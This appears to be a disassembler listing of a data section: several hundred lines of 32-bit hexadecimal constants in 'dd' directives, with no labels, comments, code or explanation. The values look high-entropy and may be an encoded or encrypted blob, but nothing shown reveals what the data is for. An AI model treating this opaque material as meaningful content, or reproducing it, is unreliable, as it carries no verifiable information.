		dd 0E097B214h, 0B091D3h, 4975C2E6h, 0DC631112h,	47622BCEh
		dd 64215872h, 0E5F0B136h, 0ECD94EB0h, 7EB307ECh, 4B1D8BEDh
		dd 5BE549A0h, 51DC564Ah, 38A9928Fh, 0BEF53DB5h,	676329Ch
		dd 54066697h, 7DB1EF30h, 7EB703B1h, 50A41F86h, 7656CA78h
		dd 0F0F91D26h, 0B5BC1927h, 71548661h, 0CFDE0311h, 9377A10Fh
		dd 0E2A51E20h, 7C94995Bh
		dd 59CC376Eh, 4EC7F8A7h, 340FCA9Bh, 4E9B959Ah, 0CF15DCA1h
		dd 7B55898Bh, 87DE5BDh,	0CA883B5Eh, 0DD2BC525h,	35CCF03Fh
		dd 690E33EAh, 2964B50Ch, 547CFE6Dh, 4AECFCFEh, 4C6C6BDh
		dd 6C357A6h, 24BB279Dh,	8F540502h, 2A5DF713h, 2010CE99h
		dd 0AF4231CDh, 0DEB8FA3Ah, 605121D0h, 7A2CDC62h, 0AEBC811Bh
		dd 0A871CA5h, 0EE18FD3Ah, 407B2545h, 5EA62E72h,	0CEFCF9EDh
		dd 2E86A072h, 0E3FAB891h, 0E94003DFh, 5EEF2ECAh, 0B08C60B1h
		dd 6A79AEA9h, 7E565A99h, 0B1F94A16h, 98D9C127h,	444131D2h
		dd 0B8122645h, 893473CBh, 0C07B7B6Eh, 5FD3F498h, 7697780Ah
		dd 0C273C6FEh, 3DB510C0h, 0D6D4EAE5h, 80491A13h, 0C0C8F30Ch
		dd 6A59F6E2h, 76E91010h, 52AC1E98h, 48F5AE79h, 0DCCBD4D0h
		dd 956DF99h, 86E6791Ch,	35CF1C9Fh, 0CF1E45E2h, 1E0F7EB4h
		dd 0ED033622h, 0DD68FCFBh, 10FEB78h, 3F98992Fh,	5BED2D6h
		dd 8060EA3Fh, 229F0716h, 973C0F60h, 4DC9A152h, 0C6DA5E57h
		dd 3F15C361h, 0BA457CACh, 0BFF414FDh, 5ADBF42Dh, 0FADAD1E0h
		dd 58BE4AFDh, 0FABCA75Ah, 0F4B202A6h, 4E3DC2FEh, 0E6AEF7A3h
		dd 0F78A61A1h, 0D2F577B0h, 6F10A69Ch, 3E2403BEh, 68B39501h
		dd 393DCB84h, 0EC360ADFh, 0D704B6F1h, 0D4232B14h, 2D8A93E7h
		dd 0EAB10862h, 0EA5F09AEh, 889EE49Ch, 85C77107h, 0D02566Eh
		dd 22FF375Dh, 0C3671287h, 6C38085Bh, 0A86FA920h, 145D8067h
		dd 1EDDD3B3h, 6A8A9F4Ah, 8FBFED4Ch, 4C3EA749h, 8920E0B4h
		dd 867545A0h, 6573C107h, 8EFB468h, 41866327h, 0A0380333h
		dd 2D8BAFCEh, 92C33AA0h, 0B6C7EC53h, 0B8FCF97Dh, 6C5B2252h
		dd 0C9DA449Ah, 0AA509E9Ch, 0BC1A5C32h, 33DDFA1Eh, 989D322Fh
		dd 0D0A0A8E4h, 39B8CEE3h, 221E95CDh, 2BF8C3F9h,	0D382B00Bh
		dd 7B8286DEh, 561A825Fh, 0BDAEBDCCh, 90F40D10h,	8156D33Fh
		dd 1966F7D6h, 63E43C7Bh, 8C28524Dh, 4BE46E5Ah, 0B76DA060h
		dd 0CE43FB9Fh, 5E8EC0Eh, 0FE50652Fh, 0E488A867h, 7F4742DBh
		dd 16978FB1h, 0B2B820D8h, 7ADE7860h, 69E1DCFCh,	590593Ch
		dd 2C2EEEB9h, 425B8649h, 0C14055F5h, 0C2E1D6E6h, 3FF26382h
		dd 0C784F068h, 0E54557A1h, 0B7502A5Dh, 0ED669574h, 0B52735C9h
		dd 32C38998h, 0CDF32D08h, 5716F1F8h, 623CE602h,	0A136A007h
		dd 750F6529h, 0ABC8216Dh, 46F52739h, 28F6B0BFh,	0CAC5F98Fh
		dd 501799E5h, 0E83B2CF6h, 0F3B3794h, 62826E09h,	39076A3Ah
		dd 8D4BE258h, 639E2529h, 1AA12F80h, 415D3D42h, 0CFA8B82Ch
		dd 0B065E7E2h, 733B4ECDh, 910ADD9Fh, 0B3C92150h, 3A5CA75h
		dd 274A492Dh, 1C1D447h,	3B076F6Ah, 5FEBDA8h, 507812D5h
		dd 7E6419Ah, 944A24F1h,	9722D796h, 8C8CDB09h, 0C26FAE3h
		dd 0CD8FF353h, 0A4E997h, 0CD6420D3h, 4E79191Ch,	0EB238FFBh
		dd 0B93126E5h, 0EDACFE91h, 593C7808h, 5C158C52h, 3562FF8Ah
		dd 7CC45DDBh, 0C423310Bh, 7D084514h, 0E3B4905Fh, 164D04Fh
		dd 0F57C116Dh, 0BA415174h, 1020A2C5h, 3FB1C41h,	826C631Bh
		dd 0FAB39A5Dh, 3113F482h, 390C7E19h, 0C9CAF66Fh, 426F3755h
		dd 0D1AFFE8Fh, 3A5AB29Ch, 6A4DC6B7h, 5B493D29h,	0D6317F26h
		dd 3FFF085Fh, 0E4ED5AF6h, 0ED7F2375h, 0F694DF4Dh, 300C6032h
		dd 1E174Ah, 8BA28B1Eh, 0C99A5ECAh, 27F322C4h, 0B0A2E554h
		dd 2F134E8Dh, 8EA19DC8h, 982B685Ch, 0DBE30160h,	9C1E6447h
		dd 0C6DC49E2h, 6877827Dh, 2B882777h, 3AF06920h,	0C9B3E8EAh
		dd 9E3010F3h, 0AB1E122h, 308FF514h, 830A148Eh, 0D7194FA5h
		dd 0DE345049h, 289F7135h, 9E9160A5h, 4593F3ADh,	9B524037h
		dd 0DEAA911Eh, 3ADE008Ah, 49EE0212h, 5ACDB077h,	0E1141C9Eh
		dd 6AE3FBB2h, 0F54BBC44h, 5F8A387Fh, 43207E43h,	0C58C5D44h
		dd 223CDDBFh, 9CC45174h, 88C503FBh, 427FABCFh, 4874173Ah
		dd 0DA686A4h, 41549440h, 0F031C960h, 0B3A8B9C2h, 22C1950Eh
		dd 0F31755D9h, 0DD8D0253h, 0FC0FA1DCh, 6D396356h, 2BB28703h
		dd 8EE72B86h, 598EC64Eh, 4D6D49FFh, 0E5421E7Eh,	0A834D662h
		dd 79E2A580h, 0B763D59Eh, 456A901Dh, 0D18B2F63h, 0EA7AF871h
		dd 80959E07h, 0E93263CEh, 2E0CD138h, 4091EBF3h,	5A512D36h
		dd 0D8732450h, 0E4AC7E8Ch, 0BA8AB462h, 0F4115FE2h, 0A37C7C2Ah
		dd 0CA52EE5Eh, 5777FD65h, 4B97C502h, 9CBB291Dh,	5D54E46Dh
		dd 2A682012h, 6C281E36h, 6BDE0FB8h, 0E84F7100h,	0A14DE978h
		dd 0CC7E4D0Ah, 90B2FB3Ch, 0EEF89C44h, 0DF4F6A76h, 2C33D4A6h
		dd 0D789AB2Dh, 0F8E878D6h, 49AF306Ah, 0CEE19116h, 72D00D25h
		dd 0FA097996h, 0DB6918FBh, 8BB9976Ah, 18DB8534h, 635EC69Eh
		dd 0FDBD5962h, 0D3BB43DFh, 40A8DA28h, 0CA5D36F4h, 4755FBA3h
		dd 0A2DBCEF8h, 0F09A45B3h, 7476ED90h, 5480657Bh, 9306EDD6h
		dd 86F8473Dh, 33B035DEh, 55B25B5Fh, 2F8DD7B4h, 0B5457D0Eh
		dd 1E830CFh, 4842105Bh,	38FE97E2h, 912861EDh, 7C6A793Ah
		dd 0E0E48BA9h, 9185BD35h, 1D53F6B9h, 6E425CDAh,	9ED60CB4h
		dd 3A31724Ah, 90B9849Ch, 3D0FB5C4h, 49B8C728h, 30B8181Ch
		dd 30E444AAh, 6CD98644h, 28A7CFCDh, 4C0545E1h, 723A390Bh
		dd 0DD152985h, 0F3C153A5h, 0D0D65D0Bh, 0DC1C52CAh, 0FDF0CCF4h
		dd 4A9DBE4Fh, 37D4C6BDh, 0D2E2443Ah, 95907B8Fh,	0FD08232Ah
		dd 0C2B72B75h, 106D1AEEh, 0E7AABC08h, 17157A8Fh, 31C50D91h
		dd 7FDA5B5Ch, 0DFA30E95h, 0BD1C1D47h, 6650BF78h, 0A3803CCBh
		dd 90859C7Fh, 9B80BE49h, 6F5CAFE0h, 0E86A4008h,	0C16E2D11h
		dd 7EE358B3h, 58A0BBF7h, 143DC8B2h, 185468FDh, 0C419B1ECh
		dd 306BBA88h, 0AE5CB839h, 6479C32Ch, 222E2935h,	355961B8h
		dd 20776FBh, 49F0F8CCh,	2D202732h, 0EA6B8A4Eh, 98A0F33Bh
		dd 0AC9D3A6Fh, 9414A459h, 0C19DEC07h, 0C66C1A06h, 2939CEADh
		dd 448AC62h, 0EF5B2E54h, 28D372D4h, 97A9D301h, 71E2C5D6h
		dd 278CA30Bh, 0ED2A3917h, 0AF712CFEh, 234DF1E5h, 0C63EE288h
		dd 13C61401h, 0D08074A3h, 0FAE27464h, 8E15DE29h, 0BE726E6Dh
		dd 0DAF45536h, 73F27DB1h, 8C8D42FFh, 4B3DE608h,	46D04505h
		dd 15A61AF1h, 8C36F909h, 0C6444211h, 0CC32522Fh, 0ED6F3780h
		dd 0E4A67Ah, 1605E92Ah,	6BD6D2E1h, 82B08F48h, 0DCC2CE82h
		dd 8A4F8CAEh, 39D9D844h, 0FFFC06F2h, 0D1668FE7h, 0E16F82A2h
		dd 5165C287h, 62C4E558h, 0EA9C2029h, 4A253C2Ch,	0BB50E31Bh
		dd 0F489774Dh, 0A0AB9D2Fh, 14664A8Ah, 5AFABF00h, 3728F6D9h
		dd 4DF7A66Bh, 52699DE9h, 73EC87CEh, 60A04EFFh, 0F0AC9410h
		dd 0B2A35725h, 143128A1h, 0C112DEE2h, 0B669261Eh, 0EC4C1C47h
		dd 64552132h, 98820497h, 6A815E73h, 5BBCA9A3h, 8021C8D5h
		dd 3C82C896h, 6C5A11CCh, 9EC9BDA4h, 0DF2841EAh,	72BB7975h
		dd 223D372Bh, 9533830h,	0D5295A81h, 40829BD3h, 7A605BF4h
		dd 163A9A9h, 0E1AFC8EAh, 19E9F546h, 34A442E5h, 4E9B72D8h
		dd 4955A6DCh, 0A00722AAh, 431C527Eh, 0B624ADDh,	4C36FCA4h
		dd 7D16D365h, 530BFB28h, 0B71C4885h, 64164810h,	0D912EEEEh
		dd 433C7582h, 0A478ADh,	0E115783h, 0E40A4723h, 6B8FA126h
		dd 40233F38h, 0DA95B8A7h, 9819889Fh, 0FB090765h, 59EA9865h
		dd 2A3EE1B9h, 0C0EF2EFBh, 0A16A2FA4h, 6A766AE2h, 0FE06350Ch
		dd 1D4DF5A7h, 0DFFE5BDDh, 8EBD05A3h, 0F3AD2019h, 0EE2928C7h
		dd 14E58701h, 0D7366EB8h, 9E4A9A96h, 49A75E5Dh,	27A62888h
		dd 0EB10BF5Ch, 36EBDBEh
		dd 24D87FF3h, 16CB02ACh, 8CDDD590h, 206EDB17h, 5F8BE631h
		dd 0EF38E485h, 0B7DE0F80h, 18B30512h, 0F6778F87h, 5252F707h
		dd 8186F3CEh, 967F0228h, 178ECA63h, 0D8DF65ADh,	0BF958ACFh
		dd 0B8E476B3h, 5E0D3E03h, 0B8188985h, 0EAACBD2Bh, 4BDAADBAh
		dd 0B709D7F2h, 49B7C9E2h, 0FC6B01E6h, 0EADBC475h, 77BB264Fh
		dd 1E801D0Bh, 4016D21Bh, 0D54AECBAh, 0AC375142h, 5FCF6CCDh
		dd 0BA136134h, 37A3DFD7h, 899A9999h, 0B8EFB3C9h, 81200609h
		dd 96301629h, 0DB0E1AEFh, 7254D070h, 27A6D4F7h,	97149D8h
		dd 26315B3Fh, 9217519Ch, 4F96B6A5h, 701D4804h, 3EF37B7h
		dd 0C9FF7599h, 88ADC93Dh, 0F2487372h, 1928B516h, 50EE33DEh
		dd 36AF693Dh, 4E4E4C6h,	0FE1C0BEDh, 8460A031h, 0E9C5A7ACh
		dd 0F15C0284h, 0B68E4007h, 0BC575B3Bh, 0DAC48EFCh, 7CCFDC9Ch
		dd 78B7BE15h, 0CCC490CDh, 0DC134B70h, 3CEAA566h, 0B7AB6916h
		dd 0E8A56597h, 64B39553h, 421B907Eh, 1ACDF09Ch,	0A0E32CDDh
		dd 20174372h, 0E9D6487Eh, 939E1E11h, 4641C4DEh,	0DAE529FFh
		dd 0FEAA2C11h, 6A360056h, 0C175B55Ch, 0F8C243E6h, 28164301h
		dd 0D109CE23h, 0D63E7D19h, 0F19BFE0Eh, 0E5984F75h, 0D97781A9h
		dd 0BB9B1B16h, 0E1B72A9Dh, 0A85B598Ah, 0FBF5905Dh, 7E4775E5h
		dd 55F21B9Eh, 47E20261h, 0A1489558h, 0D1C8612Dh, 831AFB0Fh
		dd 9745CA8Dh, 34CAFB2Dh, 0BE43ACAh, 425DFF11h, 51620EEh
		dd 0C4D42608h, 6E0DD4A7h, 6EE97DAEh, 35649D2Fh,	0F4EBC28Eh
		dd 3158FC53h, 8A1288FBh, 6AE3EDB1h, 46463412h, 3DD09876h
		dd 3D37A80Eh, 1FFEE584h, 0A34B976Ch, 65DEA92Eh,	5E361469h
		dd 9344AA60h, 8C0D3FCBh, 60B5C18Ch, 0EBD7F0D1h,	0C6FB5B84h
		dd 7812CA9Fh, 45D14289h, 240EF7B6h, 0A98D8B3Ah,	5FB9066Ah
		dd 0E172893h, 9E8252D7h, 3740FB87h, 16BD2011h, 8869858Dh
		dd 0E27E3D4Ch, 6A358FB5h, 5406F56Fh, 9F96016Dh,	10E4064h
		dd 9EFC38A6h, 164E74C8h, 0A5F5D18Dh, 8DEECC41h,	83A7B717h
		dd 1FEFA09Ah, 0C573B146h, 0B66CFAA1h, 0D52902ECh, 3C9F25D9h
		dd 0B3A6670Ch, 2E501C3h, 0E2493FA9h, 0B1AC8101h, 7344B184h
		dd 0D3756B47h, 5EC00455h, 5B03D638h, 0ABD96838h, 0E3E88EC1h
		dd 0E5A7362Bh, 0A4936294h, 5B489584h, 17AD2BAh,	66B16F6Ch
		dd 2F02838Bh, 4EBD3915h, 0ED9F7359h, 7E0E5AEDh,	1F87EB20h
		dd 0CC7FA04h, 9BEA3E04h, 4F2FF9F6h, 36957CAEh, 374BB1Ch
		dd 58F1BA75h, 0BEC85FEBh, 0AB8F1DE6h, 0ACC8F490h, 569D24h
		dd 0E8FC0F35h, 0FE336AACh, 1C56AF9Bh, 7340F876h, 67A81E43h
		dd 16B03CA5h, 97766D1Ch, 7722C7EDh, 0B65413B1h,	0ED8ACB5Fh
		dd 1C371263h, 2700AE90h, 5447983Fh, 91B28F9Eh, 79E1677Bh
		dd 0B2B2044Eh, 0CCCA0703h, 9A3E7AA3h, 0B8B1815h, 0BBEAECB3h
		dd 0FA28F741h, 138A5224h, 0FB8FD417h, 12505EBAh, 862258E3h
		dd 0EE7CED75h, 0E8D0932Eh, 3F414AEEh, 0DF3ECF0Bh, 0A861FB47h
		dd 68614983h, 0AABBFF26h, 2F8D31F2h, 0C24F4CF7h, 943BBDFCh
		dd 5FEB0F8Eh, 67CE1241h, 0EA8F0ECEh, 0EE94D43h,	452779A0h
		dd 0D4462BCEh, 7215081Ah, 90E9A778h, 8EEB1852h,	32D925B0h
		dd 0C7F329E9h, 0E1AD96Fh, 9C383211h, 0C424A897h, 727D0728h
		dd 495A1EE3h, 942135ABh, 249BED61h, 956CC06h, 0A5F8B549h
		dd 0EE53E77Bh, 723ACD74h, 417640B1h, 39CB985Ch,	0D04B2EF6h
		dd 6F819F8Eh, 240F356h,	0B2D9820Dh, 5B28F2FFh, 4901C5DAh
		dd 0ED05683Ch, 0F1784815h, 8B373C30h, 331FEA4Dh, 0D795A906h
		dd 0C4B6A07Dh, 6631DF4Ch, 0EBAC8366h, 16C4D46Fh, 659D1E1h
		dd 0CBD7A2A5h, 57E126CCh, 33E42498h, 82798397h,	5B8229CCh
		dd 8EB0ED17h, 6647FB33h, 62FD7FDBh, 64E51C11h, 0AC1F6BD2h
		dd 0C56C7741h, 0F0C1F93Bh, 11074743h, 87C1DB4Eh, 0FAC05A18h
		dd 72558797h, 8EFC8526h, 0DDDED062h, 91243805h,	3802B7A0h
		dd 92C95E39h, 0C01F1E54h, 42D6AACCh, 311DE46Bh,	0D9672037h
		dd 0D02CF37Fh, 3CD96EF0h, 815B4B78h, 0E5655335h, 9AD20FB1h
		dd 0DDA9C866h, 0D4AA87BCh, 0D52B1744h, 7F41D628h, 8509D25Eh
		dd 0FF3D2A7Ch, 9D1B77FCh, 0D7707CE8h, 0DAB9CAA4h, 0C7D8FC39h
		dd 831201FBh, 28896E4Fh, 3EEA4E14h, 4AAF6417h, 3B5644EBh
		dd 0A6D1014Eh, 0CCF12162h, 7EAF0A16h, 0F04E85D9h, 68D56308h
		dd 0A2BB91B6h, 5442E61Ch, 737E3472h, 3C66025Ah,	8A4E7804h
		dd 0DF1B51BCh, 0E82AEBDBh, 51739D87h, 0D29B5B25h, 0ECBFC24Bh
		dd 35436961h, 375E8A2Eh, 0D946FEAEh, 30ACDA7h, 7433D651h
		dd 2E4CD6A7h, 30EA83Dh,	6ABCB492h, 2527AC65h, 499C399Dh
		dd 796E0C1h, 7FABA0F3h,	2B09360Ch, 6DD31077h, 8413A6C3h
		dd 0F96688ADh, 83866F2Ah, 0F47FA396h, 6FAC2249h, 43879514h
		dd 312086EEh, 0E57F9F6Ch, 41E24E3h, 6D8046E6h, 34F5358Ah
		dd 1623586Bh, 0E97D49E7h, 0EBE76A9Bh, 82506711h, 5481B07Bh
		dd 0CF52321Fh, 0BBA2B888h, 0A5DA6D24h, 0E118EF94h, 0E850C854h
		dd 4D90306Dh, 9220A9B1h, 0BEF5D687h, 48D31A37h,	3828CA44h
		dd 74ACA75Dh, 2EF423C0h, 2F5349AFh, 410219EBh, 0ABB9B0EEh
		dd 693C04EEh, 321556DCh, 165BBD0Eh, 2542C92Eh, 0F0CC6075h
		dd 0F5A49BE1h, 3AEC23A6h, 4CBBB051h, 2E3C415Ch,	340368ABh
		dd 0A5940512h, 3C87762Bh, 4921DCA0h, 2102A2F8h,	8251C611h
		dd 150DC08Eh, 1AF69711h, 1C0548CDh, 0E045E33Bh,	0BE404164h
		dd 74BC0778h, 5EE0D397h, 0F22D20D9h, 5B8B6F5Dh,	0B433B070h
		dd 0D8509AB1h, 0AF2033E7h, 737367C2h, 0ED63A77h, 643EB9ADh
		dd 0DE47D702h, 1377D9Bh, 1FEF3E3h, 4A4B9339h, 68DF39FBh
		dd 0BCFBC465h, 64F3FDD1h, 711491D1h, 0AED5FA7Dh, 0D8619544h
		dd 0C444F7CAh, 65ACCC99h, 0C9C2F12Bh, 0BF71ABA3h, 41DE0B65h
		dd 3F3F6959h, 0CBDDB210h, 0DB052806h, 54B22292h, 39ABFCE4h
		dd 0C40CA5F2h, 0DEA13193h, 96196DB7h, 1095C65Bh, 5507EF1Dh
		dd 74E831E0h, 7673A65Bh, 0F047D5CCh, 957B897Ch,	666CB229h
		dd 55A182C9h, 0E66AB4ACh, 86A1E7Ch, 0B8DE8D23h,	5BF48BA0h
		dd 0E6A68F86h, 0F642655Dh, 6A438A49h, 88D5DCh, 32B9360Fh
		dd 1DCBB759h, 8A478602h, 94F1C572h, 0D5791055h,	0D3619D0Dh
		dd 6B316069h, 258564B3h, 3C5CC4B2h, 19203EA2h, 4921CEB9h
		dd 0CB8F670Ch, 3EC1ABE9h, 4E39C433h, 0F8E33CFh,	0CF2DB873h
		dd 0ACDB14E3h, 0F498D8F9h, 59EB0085h, 8A7602BBh, 32341860h
		dd 810991AEh, 8C354044h, 12331119h, 6DB568A8h, 39EE3EB8h
		dd 3618B92Dh, 7A6928BCh, 0ADE2B7Dh, 0DBD6E88h, 0BD7EF06h
		dd 81A991B9h, 3EB8C9F0h, 360A5225h, 0B55DF410h,	73A9A115h
		dd 1A2E6E8Fh, 0C7D3679Eh, 7437FB1Eh, 9A851441h,	44F96F41h
		dd 0EFCEC530h, 0ABF76640h, 0D11824D8h, 6C4C75FBh, 899CC8EDh
		dd 1546BD90h, 9D1ADCD6h, 21948527h, 0B047C10Fh,	2D70489h
		dd 931A0CD1h, 0A85144B2h, 1A63C6F6h, 0ACE722A5h, 637503D0h
		dd 0E7F26994h, 7A60215Ch, 0BA7AE2D0h, 87FC339Dh, 87FAFF7Ah
		dd 943B70F5h, 4A63DA90h, 0B99B81F9h, 0E20351F6h, 9568B363h
		dd 0FAC3796Dh, 7DF9CD9Ah, 0ED5D12BBh, 271F532Fh, 63DBA4BDh
		dd 0A79E4EA9h, 2786A1C0h, 1B0A991Bh, 458679C6h,	7DE86E11h
		dd 3DDE7AC9h, 4586E8ADh, 0D4A3EDB0h, 0D5372B7Ah, 0BC2E33DDh
		dd 0D2A15231h, 721E3F5Ah, 67C102C0h, 0E16323h, 66BC895Bh
		dd 0E8ECA0F5h, 622D4CFCh
		dd 0B488B246h, 0ABE5D588h, 673044C1h, 2505FCBBh, 0FA668CF2h
		dd 15488F0Fh, 7D9856F7h, 4ED899D1h, 60EECDBh, 146D473h
		dd 0ACE28A4h, 0F3FB8B74h, 9DB431E1h, 8B9CF0B9h,	0A4CDEA94h
		dd 0E0EABF3Dh, 0C3C03FF2h, 71EF043Dh, 0BCEB8DAFh, 6547481Bh
		dd 73F0CF45h, 5806116Bh, 59615534h, 0B9A56A68h,	0ACC599E2h
		dd 99165CF2h, 0A2BD956Bh, 6F5CAA71h, 0DF2ACD07h, 0CCF37DA2h
		dd 0BCDAF0FDh, 0FBA41444h, 103D4FD8h, 4487ACBCh, 0E7624565h
		dd 3E27E3FBh, 0F8FE4F48h, 994BB6D3h, 86AABB69h,	98FA6570h
		dd 9557C8E7h, 0A56F1522h, 0E0DBD732h, 0D4189F9Dh, 0DE28665Ah
		dd 436F924Eh, 0FF1EED33h, 4DF7EC36h, 0AD7EF4B1h, 947F97E7h
		dd 0E807848Fh, 7C969A30h, 0E5C8D016h, 3CC6C046h, 0D64D8258h
		dd 0E61F44FFh, 4001513Dh, 0EDF3021Eh, 585C95Bh,	2678B55Ch
		dd 1D230E4h, 34249CB6h,	73D9C253h, 9DC68867h, 0FF1F3ECBh
		dd 9B0F487Eh, 0BF850CFAh, 0D81C8E8Bh, 10E7E3FAh, 69ECD3ECh
		dd 0B12CE957h, 0A91AE1E1h, 4407A693h, 8E519459h, 0AEE50FB9h
		dd 6723E5DEh, 4872400Ah, 0ABA7B912h, 0AAC50139h, 0B34C4318h
		dd 0CF914C4Ch, 8BC50427h, 3A69709Fh, 56313AFCh,	0D5DC1CADh
		dd 8B9EB29Fh, 0A178D22h, 3D4E36A9h, 0C78CFABEh,	0B728AF32h
		dd 0CA91F18Dh, 0BAFEBC17h, 0C35DC801h, 5E72FC54h, 0A8EA7C3Ah
		dd 0BB7161CCh, 0CE4D89EAh, 76777E6Bh, 56F0CEA2h, 86533A59h
		dd 22896B62h, 0B40742FEh, 4E62C73Bh, 0BC722341h, 0A0E9F6CFh
		dd 83274325h, 0F4635081h, 5D3581DAh, 20579966h,	4DAFC16Fh
		dd 0A05B8E07h, 27BD4BBDh, 84CFA23Ah, 0C7BA0B0Bh, 0BC9254B3h
		dd 5CD24992h, 31D14AA6h, 0A72521C9h, 0C448F025h, 0DD54B2C5h
		dd 270D25A3h, 0AACF5390h, 24D5E317h, 0D98A5368h, 0BE6FFD80h
		dd 0B3F8E6A0h, 0ED6400EFh, 0C88FDB3Ch, 523E486Ch, 0D775781Bh
		dd 3820B7F4h, 0FC32DDC4h, 917A2DEEh, 0B757764Dh, 7B071E75h
		dd 0DB515EA0h, 8C54D465h, 51369409h, 2DB0B338h,	0F264917Ch
		dd 0B41DAEDh, 0CAF621Dh, 83E63279h, 0BD1E9D9Bh,	1AC9ECB2h
		dd 8E3C9164h, 0B5DF0A71h, 0DD76CA7Ch, 0CE34DC2h, 0B35445FCh
		dd 19198F78h, 26E157B1h, 683B8111h, 0E7020C79h,	2C1D80FEh
		dd 0DC6AAA22h, 0F15A4E3Eh, 85925F5h, 0E54259F2h, 7DF14222h
		dd 0BA587E72h, 6BD9300h, 83BB5908h, 132CA6A6h, 1CF226F7h
		dd 6884C877h, 0E75053BCh, 517EC0E1h, 0A90844DBh, 0B1CEF1C3h
		dd 83E419FEh, 0DC185165h, 2DDE91DEh, 0CEDECCABh, 3A3CC1B3h
		dd 46B4B37Ch, 3A28C673h, 0AE8ED86Eh, 0F4C06002h, 53389C0Bh
		dd 1B9DD0C4h, 0AA5018C8h, 0C6F60B03h, 4F33D016h, 766EE3F8h
		dd 0E01D0F9Fh, 62E8979Eh, 0D59A73AEh, 0F6395D61h, 0F26DA17Eh
		dd 590CBD49h, 285B6530h, 363E2453h, 36CE06C4h, 3D6B78F7h
		dd 0B26793CDh, 0F552A71Bh, 4355E70Fh, 0F3470089h, 3E5812Dh
		dd 55A40D95h, 819D1A26h, 7A724324h, 84EAA540h, 0CF226EFAh
		dd 1F2D6EEBh, 28881EFCh, 1D75884Ah, 0F897BF78h,	5BE634B4h
		dd 0AF11415Eh, 0FE5E3E2Bh, 0A4DFB33Ch, 444C165Fh, 83A96D6Eh
		dd 90C74324h, 9DE55934h, 5AE3265Ch, 2480E076h, 649E5678h
		dd 138DDE7Bh, 511B43D1h, 0FAC086CEh, 0A3D2064Ah, 2633D1FFh
		dd 572783F3h, 37DF82B8h, 0D13F7692h, 0AEAB5155h, 510791D7h
		dd 2E9225B8h, 8B00B1BFh, 0DED15586h, 905EBF71h,	6779EF2Dh
		dd 0CB2930F8h, 0BCAD7E09h, 85195CAFh, 7E9057B7h, 67185A99h
		dd 536B0F68h, 5555FBD8h, 7AB36E8Fh, 897C7F36h, 73F73F67h
		dd 0A9567702h, 1B7F5C16h, 34005FE4h, 6A7DC461h,	74EE86DAh
		dd 840ED3B5h, 5933F137h, 715D6661h, 70673E67h, 0E33BD531h
		dd 0B8CB5E4Fh, 5EE51A9Dh, 926E1B84h, 3813CF9Bh,	0C4FBFA6Fh
		dd 0DD46399h, 93A13075h, 0FC98ADBFh, 0BCD20F18h, 2E0B7A31h
		dd 50361EB8h, 0F62419D4h, 0D87442F9h, 0B8962671h, 0CAAE8688h
		dd 8E3DC012h, 0AE76EDE4h, 40E02E0h, 598C526Dh, 53DCD034h
		dd 0CD34219Ch, 0FF590B9Fh, 92262174h, 0D2B973E6h, 86CE2D60h
		dd 0F1F83720h, 0C20F3BA4h, 3B8B1649h, 853AEE7Bh, 60FE6E26h
		dd 0F99707E3h, 7EEA7A9Ch, 0EB670F48h, 5986593Eh, 23F052DAh
		dd 208217D5h, 0B398829Ch, 20B46449h, 0A9A0515Dh, 0BA53EB21h
		dd 5927785Ch, 2FDDD2E2h, 0C674135Eh, 7693E728h,	0FC0B27D2h
		dd 4D67F9E3h, 0B5FC9001h, 0C82BA044h, 0C807C479h, 0D4CEED4Bh
		dd 0D4C2035Bh, 0AE13DE9Dh, 0BC6B58A4h, 90DB32E4h, 5D494A6Ah
		dd 5BDFED23h, 836ABDA8h, 666D118Bh, 3DFDAB34h, 1922CF23h
		dd 5D3E2BE5h, 501E78A3h, 85403057h, 0E2FE6AE5h,	38AF0334h
		dd 8944D3DBh, 3A667582h, 0D04138FBh, 0C1B612Eh,	79B0509Fh
		dd 847C65Dh, 6470E0Eh, 988166B1h, 416CC845h, 0A4663A79h
		dd 0B0B1E9A3h, 79125AB8h, 0CC1DA59h, 6BDBB98Eh,	0A8A84086h
		dd 0B10FDD5h, 5285DF75h, 6B78F9Fh, 1F4A0299h, 0B95DDA9Bh
		dd 0DF02A04Dh, 2F0D97C9h, 6DF261A4h, 89D28171h,	0E87B4A1Eh
		dd 85346133h, 0E92536E4h, 0F77FEBB4h, 54972B5Ah, 0F636720Dh
		dd 0C09810C3h, 5D8FFB71h, 8F39EB59h, 0D858BB1Dh, 0E33F755Ah
		dd 5A4984FDh, 4EAFFBDFh, 0CE28BBADh, 0CDA8F2D7h, 3BE184B6h
		dd 0D671A0D7h, 4DE548C4h, 0E431DE20h, 5ECCE30Ch, 0DCCBF01Ah
		dd 0ED3ED1A8h, 4A414E76h, 3A4C05AFh, 0F6DEFCA7h, 5DBE338Bh
		dd 0CA989037h, 35FE04B4h, 368AAD79h, 79519D1Ch,	205396E8h
		dd 0BF7D7E2Eh, 58F39F84h, 3B52267Eh, 680DB9F5h,	0C29202B4h
		dd 0FD45A70Ch, 67FBB429h, 97F67564h, 1AF6A32Ah,	0ECB1C189h
		dd 9A474026h, 452DCAEFh, 16CCB962h, 56D73714h, 0CE6471E4h
		dd 8363BB2Bh, 0DBC424Ch, 745620A6h, 82121FF6h, 388AA17Dh
		dd 6407A2E5h, 0DA7B90E6h, 0D0F01711h, 6D8EB6C4h, 0C655194Ch
		dd 929A9879h, 0C1F67245h, 0C3E8C470h, 2A7A2D8h,	0D9B2BB90h
		dd 57D9C5DBh, 0A6F4C3FFh, 0E0D622E6h, 27F5680Eh, 0AC28F7DBh
		dd 19311B8Fh, 7581D498h, 207C2C61h, 0CBAE8BD3h,	5D729372h
		dd 92150F75h, 7CCE7D62h, 15404E0Ah, 44347AFh, 0DC490989h
		dd 58E55CD0h, 236B952Eh, 0D661BDF1h, 0F8D158B1h, 85004498h
		dd 0B26C2F09h, 7D7E4513h, 5FAB2DF1h, 0F9C22DD3h, 0C2385F64h
		dd 0C54D35B1h, 5DD09B43h, 6F1B6C20h, 0AD77269Eh, 3DD31928h
		dd 0BDBB4E3Ah, 94F01925h, 0D6CA176Bh, 198BA2D0h, 34FEE9E8h
		dd 6DF1C36Bh, 0F57341B1h, 351BA5ECh, 0B6916BF4h, 0C4A8FCD7h
		dd 2FECDE0Bh, 0A4D36AC0h, 0CA28EBBAh, 0C9FDC329h, 0B78B28BDh
		dd 1FCDF886h, 8E68A8DBh, 8D8438A2h, 77FA1983h, 95231021h
		dd 7BE24FD4h, 77F95C0Ah, 5936BA72h, 26E0E282h, 5C5B28BCh
		dd 7DE9948Dh, 951F60F5h, 0D51CF256h, 5C37951h, 1E8F2DBCh
